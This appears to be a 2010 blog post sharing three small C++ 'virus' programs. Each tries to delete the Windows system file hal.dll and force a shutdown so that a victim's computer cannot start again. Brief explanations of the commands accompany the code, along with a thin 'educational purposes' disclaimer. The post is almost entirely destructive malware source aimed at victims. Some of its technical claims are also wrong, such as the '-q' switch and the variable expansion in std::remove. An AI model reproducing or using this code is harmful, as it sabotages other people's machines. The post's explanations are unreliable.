Wednesday, December 15, 2010

C++ virus source code

Don't try on your computer. And this is for only educational purposes.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
    system("shutdown -s -r");
    system("PAUSE");
    return EXIT_SUCCESS;
}

More advanced source code.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
    system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
    system("PAUSE");
    return EXIT_SUCCESS;
}

The "del" command is used in DOS to delete stuff. "-q" is a parameter which means force delete,or delete without asking.shutdown -s -f -t 00 means shutdown,force close everything running,in 00 seconds time.

NOT MY WORK. I FOUND IT FROM INTERNET.

No comments:

Post a Comment